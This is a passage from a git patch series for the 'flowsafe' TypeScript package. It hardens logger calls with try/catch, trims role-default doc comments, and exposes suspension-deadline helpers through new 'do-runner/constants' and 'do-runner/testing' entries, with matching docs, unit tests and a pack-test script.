mockAgent(); const getMemory = vi.fn(() => { @@ -880,7 +883,9 @@ describe('createThreadSignalRoutes', () => { expect(notifying.getMemory).not.toHaveBeenCalled(); const persisting = throwingMemoryAgent(); - const log = vi.spyOn(console, 'error').mockImplementation(() => undefined); + const log = vi.spyOn(console, 'error').mockImplementation(() => { + if (logger === 'throws') throw new Error('logger failed'); + }); try { const persistingRoutes = createThreadSignalRoutes({ resolveAgent: () => persisting.agent, @@ -890,10 +895,12 @@ describe('createThreadSignalRoutes', () => { post('/signal/queue', { contents: 'persist' }), scopeWith(undefined), ); + expect(queueResponse?.status).toBe(200); expect(await queueResponse?.json()).toEqual({ decision: { action: 'discard', reason: 'memory-unavailable' }, }); expect(persisting.getMemory).toHaveBeenCalledOnce(); + expect(persisting.calls).toHaveLength(0); expect(log).toHaveBeenCalledWith( JSON.stringify({ type: 'signal-memory-resolution-failed', @@ -3845,33 +3852,40 @@ describe('createThreadSignalRoutes — signal content policy', () => { expect(inputs[0]?.runId).toBe('run_1'); }); - it.each([ - { case: 'tag name', overrides: { tagName: 'not a name' } }, - { - case: 'target attributes', - overrides: { attributes: { 'not a name': 'x' } }, - }, - { - case: 'active branch attributes', - overrides: { - ifActive: { behavior: 'deliver', attributes: { 'not a name': 'x' } }, + it.each( + [ + { case: 'tag name', overrides: { tagName: 'not a name' } }, + { + case: 'target attributes', + overrides: { attributes: { 'not a name': 'x' } }, }, - }, - { - case: 'idle branch attributes', - overrides: { - ifIdle: { behavior: 'wake', attributes: { 'not a name': 'x' } }, + { + case: 'active branch attributes', + overrides: { + ifActive: { behavior: 'deliver', attributes: { 'not a name': 'x' } }, + }, }, - }, - ])('settles a schedule whose $case cannot be rendered as a terminal discard', async ({ + { + case: 'idle branch attributes', + overrides: { + ifIdle: { behavior: 'wake', attributes: { 'not a name': 'x' } }, + }, + }, + ].flatMap((testCase) => + ['returns', 'throws'].map((logger) => ({ ...testCase, logger })), + ), + )('settles a schedule whose $case cannot be rendered as a terminal discard when the logger $logger', async ({ overrides, + logger, }) => { // #given — core's assertXmlName would throw on this name at render time, // and no later tick could ever render it either const { agent, calls } = mockAgent(); const settle = vi.fn(async () => undefined); const { policy, inputs } = recordingPolicy(); - const logged = vi.spyOn(console, 'error').mockImplementation(() => {}); + const logged = vi.spyOn(console, 'error').mockImplementation(() => { + if (logger === 'throws') throw new Error('logger failed'); + }); try { // #when diff --git a/packages/flowsafe/src/signals/thread-do-routes.ts b/packages/flowsafe/src/signals/thread-do-routes.ts index 6e101403..0182eae6 100644 --- a/packages/flowsafe/src/signals/thread-do-routes.ts +++ b/packages/flowsafe/src/signals/thread-do-routes.ts @@ -689,12 +689,16 @@ export function createThreadSignalRoutes( Boolean(await agent.getMemory()) ); } catch { - console.error( - JSON.stringify({ - type: 'signal-memory-resolution-failed', - threadId, - }), - ); + try { + console.error( + JSON.stringify({ + type: 'signal-memory-resolution-failed', + threadId, + }), + ); + } catch { + // Diagnostics cannot change the memory fallback. + } return false; } })(); @@ -1794,14 +1798,18 @@ async function handleScheduleSignal(options: { ) { // The operator has to be able to find the broken schedule; the offending // name itself stays out of the log. - console.error( - JSON.stringify({ - type: 'schedule-target-unrenderable', - scheduleId, - dispatchId, - agentId: target.agentId, - }), - ); + try { + console.error( + JSON.stringify({ + type: 'schedule-target-unrenderable', + scheduleId, + dispatchId, + agentId: target.agentId, + }), + ); + } catch { + // Diagnostics cannot prevent terminal settlement. + } return await settleDiscard(); } From 63011911bbc0f0205b32fd1f5c4848216f5c3a07 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 10:44:04 +0400 Subject: [PATCH 097/169] docs(flowsafe): reference shared route role defaults --- packages/flowsafe/src/goals/objective-routes.ts | 8 +------- packages/flowsafe/src/schedules/router.ts | 6 +----- packages/flowsafe/src/signal-providers/webhook-route.ts | 2 +- 3 files changed, 3 insertions(+), 13 deletions(-) diff --git a/packages/flowsafe/src/goals/objective-routes.ts b/packages/flowsafe/src/goals/objective-routes.ts index 769a0756..3d2df8f3 100644 --- a/packages/flowsafe/src/goals/objective-routes.ts +++ b/packages/flowsafe/src/goals/objective-routes.ts @@ -149,11 +149,7 @@ export interface ObjectiveRouterOptions { store: ObjectiveStore; /** Prove mutations target durable bound memory, not an ephemeral run id. */ validateThreadTarget: BoundThreadTargetValidator; - /** - * Who may SET/UPDATE/CLEAR an objective. Default RUN_START_ROLES - * (operator/admin) — reviewers/viewers cannot author standing instructions. - * Reads (GET) are not role-gated beyond ownership. - */ + /** Roles allowed to mutate objectives. Defaults to RUN_START_ROLES. */ roles?: readonly ApprovalRole[]; /** Every mutation (and denied read) is audited through this. Absent ⇒ no audit. */ audit?: ObjectiveAuditSink; @@ -471,8 +467,6 @@ export function createObjectiveRouter( 'thread', ); - // 3. Coarse role on mutations: authoring a standing instruction is an - // operator/admin act. if (isMutation && !roles.includes(context.actor.role)) { await audit('rejected', 'forbidden-role'); return json({ error: 'forbidden' }, 403); diff --git a/packages/flowsafe/src/schedules/router.ts b/packages/flowsafe/src/schedules/router.ts index 565b06e8..a8243a18 100644 --- a/packages/flowsafe/src/schedules/router.ts +++ b/packages/flowsafe/src/schedules/router.ts @@ -169,11 +169,7 @@ export interface ScheduleRouterOptions { targetPolicy: ScheduleTargetPolicy; /** Prove fixed-thread agent targets are durable bound memory. */ validateThreadTarget: BoundThreadTargetValidator; - /** - * Who may create/update/delete/pause/resume. Default RUN_START_ROLES - * (operator/admin) — reviewers/viewers cannot author schedules. Reads (get/ - * list/triggers) are not role-gated beyond ownership. - */ + /** Roles allowed to mutate schedules. Defaults to RUN_START_ROLES. */ roles?: readonly ApprovalRole[]; /** Every mutation (and denied read) is audited through this. Absent ⇒ no audit. */ audit?: ScheduleRouteAuditSink; diff --git a/packages/flowsafe/src/signal-providers/webhook-route.ts b/packages/flowsafe/src/signal-providers/webhook-route.ts index dbd07803..ec3d693f 100644 --- a/packages/flowsafe/src/signal-providers/webhook-route.ts +++ b/packages/flowsafe/src/signal-providers/webhook-route.ts @@ -542,7 +542,7 @@ export interface SubscriptionRouterOptions { subscriptions: SubscriptionStoreFactory; /** Prove subscriptions target durable bound memory, not ephemeral run ids. */ validateThreadTarget: BoundThreadTargetValidator; - /** Who may manage subscriptions. Default RUN_START_ROLES (operator/admin). */ + /** Who may manage subscriptions. Default RUN_START_ROLES. */ roles?: readonly ApprovalRole[]; /** The provider ids a subscription may name. Absent ⇒ any PROVIDER_ID_PATTERN slug. */ knownProviders?: readonly string[]; From 647092e5dfb8885ef50a53324c2f1dd86a211844 Mon Sep 17 00:00:00 2001 From: gcharang <21151592+gcharang@users.noreply.github.com> Date: Wed, 9 Sep 2026 10:57:43 +0400 Subject: [PATCH 098/169] feat(flowsafe): expose suspension deadline helpers --- .../public-suspension-deadline-helpers.md | 7 + docs/api-reference.md | 2 + docs/do-runner-design.md | 31 +++- packages/flowsafe/README.md | 10 +- packages/flowsafe/package.json | 2 + .../flowsafe/scripts/agent-host-pack-test.mjs | 170 +++++++++++++++++- packages/flowsafe/src/do-runner/constants.ts | 14 ++ packages/flowsafe/src/do-runner/index.ts | 14 +- .../src/do-runner/suspension-deadline.test.ts | 63 +++++++ .../src/do-runner/suspension-deadline.ts | 16 +- packages/flowsafe/src/do-runner/testing.ts | 7 + packages/flowsafe/typedoc.json | 2 + 12 files changed, 317 insertions(+), 21 deletions(-) create mode 100644 .changeset/public-suspension-deadline-helpers.md create mode 100644 packages/flowsafe/src/do-runner/constants.ts create mode 100644 packages/flowsafe/src/do-runner/testing.ts diff --git a/.changeset/public-suspension-deadline-helpers.md b/.changeset/public-suspension-deadline-helpers.md new file mode 100644 index 00000000..a083c39c --- /dev/null +++ b/.changeset/public-suspension-deadline-helpers.md @@ -0,0 +1,7 @@ +--- +'@proofoftech/flowsafe': minor +--- + +Expose `isArmableSuspensionDeadlineMs` and `suspensionDeadlinesOf` from `do-runner`. Add the lightweight `do-runner/constants` entry for deadline values and timeout detection, and `do-runner/testing` for constructing fixtures with the same timeout envelope as the alarm path. + +Reuse the existing arming bounds, derivation and alarm payload factory. The test helper does not authorize a resume or mint an approval grant. diff --git a/docs/api-reference.md b/docs/api-reference.md index 90b2f5ce..5fa6eeb7 100644 --- a/docs/api-reference.md +++ b/docs/api-reference.md @@ -44,6 +44,8 @@ New host-side and React features remain subpath-only so importing the root does | `@proofoftech/flowsafe/artifacts` | R2 artifact store and in-memory bucket | | `@proofoftech/flowsafe/audit-export` | Queue producer sink and NDJSON SIEM consumer | | `@proofoftech/flowsafe/do-runner` | Runtime, Durable Object classes, D1 storage, deployment sentinel and caller attestation, identity helpers, pub/sub, retention, run summaries, execution fence, start reservations, and drain inventory | +| `@proofoftech/flowsafe/do-runner/constants` | Deadline values, duration validation, and timeout detection without the runner graph | +| `@proofoftech/flowsafe/do-runner/testing` | Timeout resume fixtures for workflow tests | | `@proofoftech/flowsafe/goals` | Objective HTTP router and goal request-context contract | | `@proofoftech/flowsafe/host-kit` | Authenticator and verifier seams, run/thread/hub/provider topologies, routes, approval bridges, tickets, composed Worker, and execution-fence and inventory admin routes | | `@proofoftech/flowsafe/host-kit/module` | Workflow-module interface for import-safe host registration | diff --git a/docs/do-runner-design.md b/docs/do-runner-design.md index a7ec006c..4dae8513 100644 --- a/docs/do-runner-design.md +++ b/docs/do-runner-design.md @@ -306,7 +306,7 @@ A step arms one by adding the reserved key to the payload it hands Mastra's `sus import { isSuspensionTimeoutResumeData, SUSPENSION_DEADLINE_PAYLOAD_KEY, -} from '@proofoftech/flowsafe/do-runner'; +} from '@proofoftech/flowsafe/do-runner/constants'; import { z } from 'zod'; const gate = createStep({ @@ -348,7 +348,34 @@ The expiring resume delivers one flowsafe-defined envelope as its resume data: } ``` -Branch on `isSuspensionTimeoutResumeData()` rather than the literal key. A step that declares a `resumeSchema` must accept this shape as well as its signal shape: Mastra validates resume data before the engine runs, so a schema that rejects the envelope makes every timeout resume throw, and the deadline is dropped once the retry budget is spent. The envelope is the runner's to mint — a resume request that carries the reserved key is refused with a 400, so a caller cannot drive a step's timeout branch while provenance still names them as the requester. +Branch on `isSuspensionTimeoutResumeData()` rather than the literal key. A step that declares a `resumeSchema` must accept this shape as well as its signal shape: Mastra validates resume data before the engine runs, so a schema that rejects the envelope makes every timeout resume throw, and the deadline is dropped once the retry budget is spent. The detector checks structure, not provenance. Public resume requests containing the reserved key return HTTP 400; the alarm supplies the system provenance for an actual timeout resume. + +### Inspect and test suspension deadlines + +The `@proofoftech/flowsafe/do-runner/constants` entry exports `isArmableSuspensionDeadlineMs` with the deadline values and timeout detector. It uses the same duration predicate as deadline arming. The constants and testing entries load without the runner, Core, D1 adapter or jose runtime modules. + +Use `suspensionDeadlinesOf(summary)` from `@proofoftech/flowsafe/do-runner` to inspect a `RunSummary`. It returns `{ entries, rejected }` without changing the summary or scheduling an alarm. The entries use suspension time and resume ordinal from that summary; obtaining an entry does not authorize a resume. The runner still checks authoritative state before acting. + +A duration accepted by the predicate is insufficient to arm a deadline by itself. Derivation also requires a suspended run, an unambiguous top-level step and a usable suspension fence. Nested or ambiguous paths are refused as described above. Missing requests produce no entry, while invalid requests appear in `rejected` with their step and reason. `MAX_SUSPENSION_DEADLINES_PER_RUN` bounds the result. Use `SuspensionDeadlineEntry` and `RejectedSuspensionDeadline` from the main runner entry for these projections; the record parser and retry operations remain internal. + +Build a timeout fixture with the same function the alarm uses: + +```typescript +import { isSuspensionTimeoutResumeData } from + '@proofoftech/flowsafe/do-runner/constants'; +import { suspensionTimeoutResumeData } from + '@proofoftech/flowsafe/do-runner/testing'; + +const resumeData = suspensionTimeoutResumeData( + { step: 'gate', deadlineAt: 1_751_883_300_000 }, + 1_751_883_300_123, +); +const isTimeout = isSuspensionTimeoutResumeData(resumeData); +``` + +The minter accepts the step, deadline and expiry time without validating or authorizing them. The testing entry also exports `SuspensionTimeoutEnvelope` and `SuspensionTimeoutResumeData` types. A fixture does not schedule a wake, establish system identity or grant approval. + +### Suspension wake behavior Behavior worth knowing before relying on it: diff --git a/packages/flowsafe/README.md b/packages/flowsafe/README.md index 76aa79ef..45c78870 100644 --- a/packages/flowsafe/README.md +++ b/packages/flowsafe/README.md @@ -38,6 +38,8 @@ Compatibility: | `@proofoftech/flowsafe/agent-host` | Server-only guarded-agent catalogs, authenticated run routes, thread hosting, NDJSON observation, and approval-only resume | | `@proofoftech/flowsafe/approval-api` | Approval records, actor resolver, service, deployment store, REST router, grants, SLA, retention, notifications, and stream events | | `@proofoftech/flowsafe/do-runner` | Durable Object runner, D1 storage, deployment sentinel, run summaries, snapshot provenance, identities, pub/sub, and retention | +| `@proofoftech/flowsafe/do-runner/constants` | Suspension deadline values, duration validation, and timeout detection | +| `@proofoftech/flowsafe/do-runner/testing` | Timeout resume fixtures for workflow tests | | `@proofoftech/flowsafe/approval-ui` | Styling-library-agnostic React dashboard, DOM-free API client, headless hook, and live transport | | `@proofoftech/flowsafe/host-kit` | Authenticator and verifier seams, topologies, run/stream routers, approval bridges, and composed Worker | | `@proofoftech/flowsafe/host-kit/module` | Import-safe workflow module contract | @@ -176,7 +178,7 @@ A suspended step can carry its own deadline. It arms one by adding the reserved import { isSuspensionTimeoutResumeData, SUSPENSION_DEADLINE_PAYLOAD_KEY, -} from '@proofoftech/flowsafe/do-runner'; +} from '@proofoftech/flowsafe/do-runner/constants'; import { z } from 'zod'; const gate = createStep({ @@ -200,7 +202,11 @@ const gate = createStep({ }); ``` -The value is relative milliseconds between `MIN_SUSPENSION_DEADLINE_MS` and `MAX_SUSPENSION_DEADLINE_MS`. A step that declares a Zod `suspendSchema` must declare the reserved field or use a loose object, because Mastra substitutes the parsed suspend payload and a strict schema strips unknown keys. A step that declares a `resumeSchema` must accept the timeout envelope as well as its own signal shape, or the timeout resume fails validation and the deadline is abandoned after the runner's retries. The timeout resume delivers `SUSPENSION_TIMEOUT_RESUME_KEY` wrapping the expired step, its deadline, and the expiry time; branch on `isSuspensionTimeoutResumeData()` instead of the literal key, and build the same envelope in your own tests from that key and the `SuspensionTimeoutEnvelope` and `SuspensionTimeoutResumeData` types. Only the runner mints it: a resume request that carries the reserved key is rejected. It records `requestedByKind: 'system'` with the reserved `SUSPENSION_DEADLINE_PRINCIPAL_ID`, and it is not an approval decision: it mints no grant and records no reviewer. +Use `isArmableSuspensionDeadlineMs(value)` to validate relative milliseconds against the runner's safe-integer and inclusive duration bounds. Import it and the deadline values from `@proofoftech/flowsafe/do-runner/constants` to avoid loading the runner graph. A step declaring a Zod `suspendSchema` must declare the reserved field or use a loose object, because Mastra replaces the suspend payload with parsed output. Its `resumeSchema` must accept the timeout envelope as well as the signal shape. + +For workflow tests, import `suspensionTimeoutResumeData` from `@proofoftech/flowsafe/do-runner/testing` and call it with `{ step, deadlineAt }` and an expiry time. It returns the alarm's envelope shape; `isSuspensionTimeoutResumeData` checks that shape without authenticating its origin. Public resume requests containing the reserved key are rejected. Alarm resumes record system provenance and do not grant approval. + +Import `suspensionDeadlinesOf` from `@proofoftech/flowsafe/do-runner` to inspect a `RunSummary`. It returns derived entries and rejected requests without scheduling a wake or mutating the summary. See the [acceptance rules](https://github.com/ProofOfTechOrg/anchorage/blob/main/docs/do-runner-design.md#inspect-and-test-suspension-deadlines). Only a top-level suspended step can arm a deadline. A step suspended inside a nested workflow is reported under the nested path while its suspension time is recorded against the enclosing step, so there is nothing to fence the resume against; the deadline is refused and logged instead of armed. diff --git a/packages/flowsafe/package.json b/packages/flowsafe/package.json index 7a495776..a04468e1 100644 --- a/packages/flowsafe/package.json +++ b/packages/flowsafe/package.json @@ -47,6 +47,8 @@ "./artifacts": "./dist/artifacts/index.js", "./audit-export": "./dist/audit-export/index.js", "./do-runner": "./dist/do-runner/index.js", + "./do-runner/constants": "./dist/do-runner/constants.js", + "./do-runner/testing": "./dist/do-runner/testing.js", "./goals": "./dist/goals/index.js", "./host-kit": "./dist/host-kit/index.js", "./host-kit/module": "./dist/host-kit/module.js", diff --git a/packages/flowsafe/scripts/agent-host-pack-test.mjs b/packages/flowsafe/scripts/agent-host-pack-test.mjs index d1e72442..14f38797 100644 --- a/packages/flowsafe/scripts/agent-host-pack-test.mjs +++ b/packages/flowsafe/scripts/agent-host-pack-test.mjs @@ -8,12 +8,13 @@ import { readFileSync, realpathSync, rmSync, + symlinkSync, writeFileSync, } from 'node:fs'; import { createRequire } from 'node:module'; import { tmpdir } from 'node:os'; import { dirname, join, resolve } from 'node:path'; -import { fileURLToPath } from 'node:url'; +import { fileURLToPath, pathToFileURL } from 'node:url'; import { ModuleKind, ScriptTarget, transpile } from 'typescript'; import { parse as parseYaml } from 'yaml'; import { assertAttwEsmPackage } from './attw-pack-check.mjs'; @@ -100,6 +101,8 @@ try { './background-tasks', './deployment-identity-protocol', './do-runner', + './do-runner/constants', + './do-runner/testing', './goals', './host-kit', './host-kit/module', @@ -110,6 +113,85 @@ try { './signals/client', ].sort(), ); + const deadlineConsumer = join(temporary, 'deadline-consumer'); + const deadlineScope = join(deadlineConsumer, 'node_modules', '@proofoftech'); + mkdirSync(deadlineScope, { recursive: true }); + symlinkSync(packageDirectory, join(deadlineScope, 'flowsafe'), 'dir'); + const deadlineGraph = join(deadlineConsumer, 'module-graph.jsonl'); + const packedDistUrl = pathToFileURL( + `${join(packageDirectory, 'dist')}/`, + ).href; + writeFileSync( + join(deadlineConsumer, 'graph-loader.mjs'), + `import { appendFileSync } from 'node:fs'; +export async function resolve(specifier, context, nextResolve) { + const result = await nextResolve(specifier, context); + if (context.parentURL?.startsWith(${JSON.stringify(packedDistUrl)}) && + !result.url.startsWith(${JSON.stringify(packedDistUrl)})) { + throw new Error('deadline runtime imports outside the packed dist: ' + result.url); + } + appendFileSync(${JSON.stringify(deadlineGraph)}, JSON.stringify({ + specifier, parentURL: context.parentURL, url: result.url, + }) + '\\n'); + return result; +} +`, + ); + writeFileSync( + join(deadlineConsumer, 'runtime.mjs'), + `import assert from 'node:assert/strict'; +import { createRequire } from 'node:module'; +const requireFromPackage = createRequire(${JSON.stringify(pathToFileURL(join(packageDirectory, 'package.json')).href)}); +for (const name of ['@mastra/core', '@mastra/cloudflare-d1', 'jose']) { + assert.throws(() => requireFromPackage.resolve(name), { code: 'MODULE_NOT_FOUND' }, name); +} +const constants = await import('@proofoftech/flowsafe/do-runner/constants'); +const testing = await import('@proofoftech/flowsafe/do-runner/testing'); +assert.deepEqual(Object.keys(constants).sort(), [ + 'isArmableSuspensionDeadlineMs', 'isSuspensionTimeoutResumeData', + 'MAX_SUSPENSION_DEADLINE_MS', 'MIN_SUSPENSION_DEADLINE_MS', + 'SUSPENSION_DEADLINE_PAYLOAD_KEY', 'SUSPENSION_TIMEOUT_RESUME_KEY', +].sort()); +assert.deepEqual(Object.keys(testing), ['suspensionTimeoutResumeData']); +assert.equal(constants.MIN_SUSPENSION_DEADLINE_MS, 1000); +assert.equal(constants.MAX_SUSPENSION_DEADLINE_MS, 31536000000); +assert.equal(constants.SUSPENSION_DEADLINE_PAYLOAD_KEY, 'flowsafe.deadlineMs'); +assert.equal(constants.SUSPENSION_TIMEOUT_RESUME_KEY, 'flowsafe.suspensionTimeout'); +for (const value of [1000, 1001, 86400000, 31536000000]) { + assert.equal(constants.isArmableSuspensionDeadlineMs(value), true, String(value)); +} +for (const value of [undefined, null, true, '1000', [], {}, NaN, Infinity, -Infinity, 0, -1, 999, 1000.5, 31536000001, Number.MAX_SAFE_INTEGER + 1]) { + assert.equal(constants.isArmableSuspensionDeadlineMs(value), false, String(value)); +} +const timeout = testing.suspensionTimeoutResumeData({ step: 'gate', deadlineAt: 2000 }, 2500); +assert.equal(JSON.stringify(timeout), '{"flowsafe.suspensionTimeout":{"step":"gate","deadlineAt":2000,"expiredAt":2500}}'); +assert.equal(constants.isSuspensionTimeoutResumeData(timeout), true); +assert.equal(constants.isSuspensionTimeoutResumeData({ + 'flowsafe.suspensionTimeout': { step: 'gate', deadlineAt: 2000, expiredAt: 2500 }, +}), true); +for (const value of [undefined, null, {}, [], { 'flowsafe.suspensionTimeout': {} }, { + 'flowsafe.suspensionTimeout': { step: 'gate', deadlineAt: '2000', expiredAt: 2500 }, +}]) { + assert.equal(constants.isSuspensionTimeoutResumeData(value), false); +} +`, + ); + run( + process.execPath, + ['--experimental-loader', './graph-loader.mjs', 'runtime.mjs'], + deadlineConsumer, + ); + const deadlineModules = readFileSync(deadlineGraph, 'utf8') + .trim() + .split('\n') + .map((line) => JSON.parse(line).url) + .filter((url) => url.startsWith(packedDistUrl)); + assert.deepEqual( + [...new Set(deadlineModules)].sort(), + ['constants', 'testing', 'suspension-deadline', 'path-safe-id'] + .map((name) => `${packedDistUrl}do-runner/${name}.js`) + .sort(), + ); for (const leaf of [ 'fenced-workflows-d1', 'fenced-workflow-capability', @@ -542,6 +624,59 @@ void purgeExpiredWorkflowRuns(retentionDatabase, { ttlMs: 1000 }); void purgeExpiredWorkflowRuns(snapshotReader, { ttlMs: 1000, advanceCursor: persistRetentionCursor }); void createFlowsafeRunnerLifecycle; void createRunRouter; +`, + ); + writeFileSync( + join(consumer, 'deadline-consumer.ts'), + `import { + isArmableSuspensionDeadlineMs, + suspensionDeadlinesOf, + type RejectedSuspensionDeadline, + type RunSummary, + type SuspensionDeadlineEntry, +} from '@proofoftech/flowsafe/do-runner'; +import * as constants from '@proofoftech/flowsafe/do-runner/constants'; +import * as testing from '@proofoftech/flowsafe/do-runner/testing'; + +declare const summary: RunSummary; +const derived: { + entries: SuspensionDeadlineEntry[]; + rejected: RejectedSuspensionDeadline[]; +} = suspensionDeadlinesOf(summary); +declare const candidate: unknown; +if (isArmableSuspensionDeadlineMs(candidate)) { + const duration: number = candidate; + void duration; +} +if (constants.isArmableSuspensionDeadlineMs(candidate)) { + const duration: number = candidate; + void duration; +} +const timeout: testing.SuspensionTimeoutResumeData = testing.suspensionTimeoutResumeData( + { step: 'gate', deadlineAt: 2000 }, 2500, +); +const constantsTimeout: constants.SuspensionTimeoutResumeData = timeout; +const envelope: testing.SuspensionTimeoutEnvelope = timeout[constants.SUSPENSION_TIMEOUT_RESUME_KEY]; +const constantsEnvelope: constants.SuspensionTimeoutEnvelope = envelope; +if (constants.isSuspensionTimeoutResumeData(candidate)) { + const detected: constants.SuspensionTimeoutResumeData = candidate; + void detected[constants.SUSPENSION_TIMEOUT_RESUME_KEY].expiredAt; +} +// @ts-expect-error the test minter requires the step id +testing.suspensionTimeoutResumeData({ deadlineAt: 2000 }, 2500); +// @ts-expect-error the test minter requires an epoch millisecond deadline +testing.suspensionTimeoutResumeData({ step: 'gate', deadlineAt: '2000' }, 2500); +// @ts-expect-error the storage record parser is private +void constants.parseSuspensionDeadlineRecord; +// @ts-expect-error the deadline merge helper is private +void constants.mergeSuspensionDeadlines; +// @ts-expect-error the storage key is private +void constants.SUSPENSION_DEADLINE_STORAGE_KEY; +// @ts-expect-error the storage record parser is private +void testing.parseSuspensionDeadlineRecord; +// @ts-expect-error the retry ledger is private +void testing.tombstoned; +void [derived, constantsTimeout, constantsEnvelope]; `, ); writeFileSync( @@ -700,7 +835,7 @@ void [legacyContext, epochContext, legacyScope, epochScope, legacyInput, epochIn noEmit: true, skipLibCheck: true, }, - files: ['consumer.ts', 'transport-consumer.ts'], + files: ['consumer.ts', 'transport-consumer.ts', 'deadline-consumer.ts'], }), ); run('pnpm', ['exec', 'tsc', '-p', 'tsconfig.json'], consumer); @@ -727,6 +862,8 @@ import * as flowsafe from '@proofoftech/flowsafe'; import * as approvals from '@proofoftech/flowsafe/approval-api'; import * as backgroundTasks from '@proofoftech/flowsafe/background-tasks'; import * as doRunner from '@proofoftech/flowsafe/do-runner'; +import * as deadlineConstants from '@proofoftech/flowsafe/do-runner/constants'; +import * as deadlineTesting from '@proofoftech/flowsafe/do-runner/testing'; import * as hostKit from '@proofoftech/flowsafe/host-kit'; import * as agentRunner from '@proofoftech/flowsafe/agent-runner'; import * as schedules from '@proofoftech/flowsafe/schedules'; @@ -735,6 +872,35 @@ import { InMemoryStore } from '@mastra/core/storage'; import { createStep, createWorkflow } from '@mastra/core/workflows'; import { z } from 'zod'; import { openSqlite, sqliteUnitDatabase } from './sqlite-fixture.mjs'; +assert.equal(doRunner.isArmableSuspensionDeadlineMs, deadlineConstants.isArmableSuspensionDeadlineMs); +assert.equal(doRunner.isSuspensionTimeoutResumeData, deadlineConstants.isSuspensionTimeoutResumeData); +assert.equal(doRunner.MIN_SUSPENSION_DEADLINE_MS, deadlineConstants.MIN_SUSPENSION_DEADLINE_MS); +assert.equal(doRunner.MAX_SUSPENSION_DEADLINE_MS, deadlineConstants.MAX_SUSPENSION_DEADLINE_MS); +const deadlineSummary = { + runId: 'packed-deadline-run', status: 'suspended', suspended: [['gate']], + suspendPayload: { gate: { [deadlineConstants.SUSPENSION_DEADLINE_PAYLOAD_KEY]: 1000 } }, + suspendedAt: { gate: 2000 }, resumeCount: { gate: 3 }, +}; +const derivedDeadlines = doRunner.suspensionDeadlinesOf(deadlineSummary); +assert.deepEqual(derivedDeadlines, { + entries: [{ step: 'gate', deadlineAt: 3000, suspendedAt: 2000, resumeCount: 3 }], + rejected: [], +}); +const packedTimeout = deadlineTesting.suspensionTimeoutResumeData(derivedDeadlines.entries[0], 3500); +assert.deepEqual(packedTimeout, { + 'flowsafe.suspensionTimeout': { step: 'gate', deadlineAt: 3000, expiredAt: 3500 }, +}); +assert.equal(doRunner.isSuspensionTimeoutResumeData(packedTimeout), true); +assert.deepEqual(doRunner.suspensionDeadlinesOf({ + ...deadlineSummary, + suspendPayload: { gate: { [deadlineConstants.SUSPENSION_DEADLINE_PAYLOAD_KEY]: 999 } }, +}), { + entries: [], + rejected: [{ step: 'gate', reason: 'flowsafe.deadlineMs must be between 1000 and 31536000000 ms' }], +}); +for (const name of ['parseSuspensionDeadlineRecord', 'mergeSuspensionDeadlines', 'SUSPENSION_DEADLINE_STORAGE_KEY', 'suspensionTimeoutResumeData']) { + assert.equal(name in doRunner, false, name); +} for (const name of [ 'createD1Storage', 'FencedWorkflowsStorageD1', diff --git a/packages/flowsafe/src/do-runner/constants.ts b/packages/flowsafe/src/do-runner/constants.ts new file mode 100644 index 00000000..a022dec8 --- /dev/null +++ b/packages/flowsafe/src/do-runner/constants.ts @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: Apache-2.0 + +export type { + SuspensionTimeoutEnvelope, + SuspensionTimeoutResumeData, +} from './suspension-deadline.js'; +export { + isArmableSuspensionDeadlineMs, + isSuspensionTimeoutResumeData, + MAX_SUSPENSION_DEADLINE_MS, + MIN_SUSPENSION_DEADLINE_MS, + SUSPENSION_DEADLINE_PAYLOAD_KEY, + SUSPENSION_TIMEOUT_RESUME_KEY, +} from './suspension-deadline.js'; diff --git a/packages/flowsafe/src/do-runner/index.ts b/packages/flowsafe/src/do-runner/index.ts index ec098865..8ba06e04 100644 --- a/packages/flowsafe/src/do-runner/index.ts +++ b/packages/flowsafe/src/do-runner/index.ts @@ -323,21 +323,14 @@ export { // answering the same key. startIdempotencyFor, } from './start-idempotency.js'; -// Per-suspension deadlines: the reserved suspend-payload key that arms one, the -// timeout envelope a resumed step branches on, and the bounds each is validated -// against (docs/do-runner-design.md, "Per-suspension deadlines"). The stored -// record, its parser, the envelope factory it feeds, and the wake arithmetic -// stay internal — they are the run object's own Durable-Object plumbing, and a -// consumer holding them could only misread state the alarm owns. -// MAX_SUSPENSION_DEADLINES_PER_RUN is the exception among the bounds: no single -// value is validated against it, and it ships as an operational figure — the -// per-run cap a host plans and documents against, which is how the README -// quotes it — not as something to check a deadline with before arming. export type { + RejectedSuspensionDeadline, + SuspensionDeadlineEntry, SuspensionTimeoutEnvelope, SuspensionTimeoutResumeData, } from './suspension-deadline.js'; export { + isArmableSuspensionDeadlineMs, isSuspensionTimeoutResumeData, MAX_SUSPENSION_DEADLINE_MS, MAX_SUSPENSION_DEADLINES_PER_RUN, @@ -345,6 +338,7 @@ export { SUSPENSION_DEADLINE_PAYLOAD_KEY, SUSPENSION_DEADLINE_PRINCIPAL_ID, SUSPENSION_TIMEOUT_RESUME_KEY, + suspensionDeadlinesOf, } from './suspension-deadline.js'; export type { ThreadScope } from './thread-do.js'; export { ThreadDurableObject, ThreadIdentityError } from './thread-do.js'; diff --git a/packages/flowsafe/src/do-runner/suspension-deadline.test.ts b/packages/flowsafe/src/do-runner/suspension-deadline.test.ts index 16138f00..075a317d 100644 --- a/packages/flowsafe/src/do-runner/suspension-deadline.test.ts +++ b/packages/flowsafe/src/do-runner/suspension-deadline.test.ts @@ -4,6 +4,7 @@ import { describe, expect, it } from 'vitest'; import type { RunSummary } from './runtime.js'; import { dueSuspensionDeadline, + isArmableSuspensionDeadlineMs, isReadableRunSummary, isSuspensionTimeoutResumeData, MASTRA_WORKFLOW_META_KEY, @@ -78,6 +79,53 @@ function storedRecord( return { version: 1, workflowId: 'gated', runId: 'run-1', entries }; } +describe('isArmableSuspensionDeadlineMs', () => { + it('retains the public duration bounds', () => { + expect(MIN_SUSPENSION_DEADLINE_MS).toBe(1_000); + expect(MAX_SUSPENSION_DEADLINE_MS).toBe(31_536_000_000); + }); + + it.each([ + ['minimum', 1_000, true], + ['within range', 900_000, true], + ['maximum', 31_536_000_000, true], + ['below minimum', 999, false], + ['above maximum', 31_536_000_001, false], + ['zero', 0, false], + ['negative', -1_000, false], + ['fractional', 1_500.5, false], + ['unsafe integer', Number.MAX_SAFE_INTEGER + 1, false], + ['NaN', Number.NaN, false], + ['infinity', Number.POSITIVE_INFINITY, false], + ['negative infinity', Number.NEGATIVE_INFINITY, false], + ['string', '1000', false], + ['boolean', true, false], + ['null', null, false], + ['undefined', undefined, false], + ['object', 